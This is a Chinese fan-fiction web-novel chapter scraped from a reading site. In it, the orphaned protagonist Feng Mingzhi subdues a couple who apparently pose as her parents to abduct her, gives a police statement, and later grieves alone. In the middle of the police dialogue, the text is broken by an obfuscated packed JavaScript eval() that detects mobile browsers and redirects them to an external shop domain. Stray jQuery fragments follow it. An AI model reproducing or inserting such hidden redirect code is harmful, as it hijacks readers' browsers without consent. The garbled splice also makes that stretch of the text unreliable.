文趣网 > 都市小说 > [一人之下]维护者一心入局 > 22. 人贩子
    在咖啡厅和房东商量完续租的事,风明之看了眼时间,发现还早,在网上找了个距离最近的射击俱乐部,打算去学一下枪。

    出了咖啡厅,热浪扑面而来。

    风明之抬手挡在额前遮住阳光,快步走向公交站,刚走到公交站口还没站稳,一道愤怒的喊声在身后响起。

    “你这孩子怎么跑到这了!”

    风明之下意识回头看。

    一对看上去四十多岁的中年夫妻怒气冲冲地直奔她而来。

    两个人同时伸手,抬手就抓。

    风明之下意识往后一撤躲开,两人抓了个空。

    “你们是谁?”

    女人明显愣了下,似是没想到会扑空,飞快地给男人使了个眼色,示意他绕后堵人,自己则指着风明之,高声怒道:“你还跟我装上了,赶紧跟我们回去!”

    “我不认识你们。”风明之绕着站牌跑了两圈,冲女人喊道,“你们是不是认错人了?”

    虽然风明之是个法师,在武功上的造诣不高,但也是自小在梅花桩上摔了无数的跤,躲过无数把竹刀训练出来的。身体的躲避能力,早就刻进了肌肉里,形成了条件反射。

    就算没有办法使炁不能用术法,普通人想抓住她,也没那么容易。

    女人见迟迟抓不住人,眼中的急切更甚,边跑边喊:“你想急死妈妈吗?我不过是骂了你两句,你就离家出走!”

    “我们找了你好几天,家里都急疯了!”

    男人在一旁附和:“别跟你妈置气了,赶紧跟我们回家。”

    原本围在车站看热闹的人,也纷纷附和起来,劝风明之赶紧跟他们回去,甚至还有人打算帮忙抓人的。

    虽然不知道两人是不是真的认错人了,但秉承着宁可错杀也绝不放过的原则,风明之决定把这两个疑似人贩子的家伙交给警察。

    她脚步一顿,纵身一跃,一脚蹬在站台的铁栏杆上,整个人凌空转身,一腿横踢在男人胸口,将其踹飞。

    女人见状吓了一跳,转身欲跑,还没跑两步就被风明之一脚蹬在后背,整个人被踹趴在地。

    大庭广众之下不能不用术法,没法用风刃切开两人的衣服,风明之干脆拆开鞋带将两人的手脚反绑在一起,打了个死结。

    绑好人确认他们挣脱不开,才掏出手机,报了警。

    直到这时,围观的人群才如梦初醒,讨论的声音再次响起,但这次的方向完全变了。

    刚才想要上来帮忙按人的几人,此刻默默地退了又退,生怕被当成同伙。

    毕竟没有一个叛逆的孩子敢打电话报警说自己的父母是人贩子。

    警察来得很快,两辆警车闪着灯停在路边,迅速控制了现场。

    “怎么回事?谁报的警?”领队的中年男警察扫了眼地上的被绑住的一男一女,严肃地问道。

    风明之举起手示意是她报的警:“警察叔叔,是我。这两人自称是我的父母,强行要带我走,我不认识他们,怀疑是人贩子,就给绑起来了。”

    跟在领队身后的警察蹲下身,开始解鞋带,解了两下,发现系的是死扣,干脆掏出小刀割断,搜身,上铐,带上警车一条龙。

    领队的警察看了眼风明之:“你也得跟我们走一趟。”

    风明之乖乖上车。

    查过身份证后,风明之便被单独带进了询问室。

    询问室不大,空荡荡的房间里只有一张桌子,三把椅子,白炽灯照得整间屋子惨白惨白的。

    两个警察坐在桌子对面,其中一个手里拿着她的身份证,看了两眼,眉头微皱。

    “风明之?”

    “嗯。”

    “还没成年?”

    风明之点头。

    “你父母呢?”

    “我没有父母。”

    记笔录的警察手顿了一下。

    审讯的警察也微微停顿了一下,换了个问法:“你监护人呢?”

    风明之垂着眼睛,盯着白花花的桌面:“前不久去世了。”

    两人一个问一个答,聊了差不多有十分钟,门口突然传来几声清脆的敲门声。

    一个年轻的女警察探进头来,朝审讯的警察招了招手。

    审讯的警察起身走出去,顺手关上门。

    风明之坐在原地安静等着。

    过了一会儿,审讯的警察推门进来,手里拿着她的手机身份证还有包。

    他把东西还给风明之,在便签上写下自己的电话,从兜里掏出五百块钱塞到她手里。

    “你一个小孩出门在外,要多加小心。有什么事,随时打我的电话。”

    风明之赶忙把钱重新塞回到对方手里:“不用,不用,我有钱的。”

    男警察见状板起脸,本就严肃的面容看起更严肃了,带着极强的压迫感:“让你拿着就拿着,你一个未成年小孩哪来的钱?你要是有钱,还能天天吃馒头睡公园?”

    风明之弱弱道

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17556592|204445||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    :“我现在已经不睡公园了。”

    男警察看着风明之尚且年幼的脸庞,语气缓和下来:“既然下山了,就别到处瞎跑,找个正经工作好好生活,听见了吗?”

    风明之低头看着手里的便签和钱,鼻尖突然一酸,眼眶也泛起了红,她垂下眼,乖乖点了点头。

    “算命什么的都是骗人的,以后不要干了。”

    对方絮絮叨叨地叮嘱了好一会儿,见风明之真的听进去了,拍了拍她的肩膀:“以后的日子还长,要好好生活,有问题记得打我的电话。”

    等风明之走出警局的大门,一直憋在眼眶里的眼泪,忽然就止不住了。

    人呐,可真是奇怪。

    至亲至爱离世的时候哭不出来,一心想着报仇在内景中算得快死的时候哭不出来,独自一人生活的时候还是哭不出来。

    怎么被一个陌生人关心了一下,眼泪就止不住了呢。

    *

    豆大的雨点打在窗台,空调外机,发出噼里啪啦的脆响。

    如此催眠的白噪音,不冷不热舒适的温度,风明之却没有一丝一毫睡意。

    她躺在床上,眼睛上敷着冰袋。

    其实风明之哭的没有很厉害,她也不是个爱哭的人,哭泣的时候也不喜欢出声,只会安静地待在无人的角落等自己哭好了就好了。

    敷冰袋是因为总觉得眼眶深处有一种干涩的灼烧感,像是有什么东西在那里烧出了一个洞,怎么都填不满。

    听着窗外的雨声,索性取下敷在眼睛上的冰袋,翻身坐了起来。

    风明之赤脚踩在瓷砖上,搬了张毯子铺在客厅窗边,又去搬了个靠垫,然后抱住自己靠窗坐下,安静的地看着窗外黑漆漆的雨幕。

    瓷砖很凉,透过毯子慢慢渗上来,她却懒得再去加一层垫子。

    窗外,路边的灯光被雨丝切割得支离破碎,晕成一团团模糊的光斑。雨水砸在窗户上,顺着玻璃往下淌,一道道水痕交错重叠。

    风明之就这样安静地看着,什么都不想,又好像什么都在想。

    至亲至爱离世的时候,其实没有什么撕心裂肺痛不欲生,那感觉更像是一脚踩空,坠入一片浓得化不开的迷雾,整个世界都变得模糊又遥远,找不到方向。

    浑浑噩噩地处理好后事,一朝清醒突然发现只剩下自己站在坟前,看着那座坟走不出来,也迈不过去。

    从前送走小从和阿绵时是这样,如今送走师傅还是这样。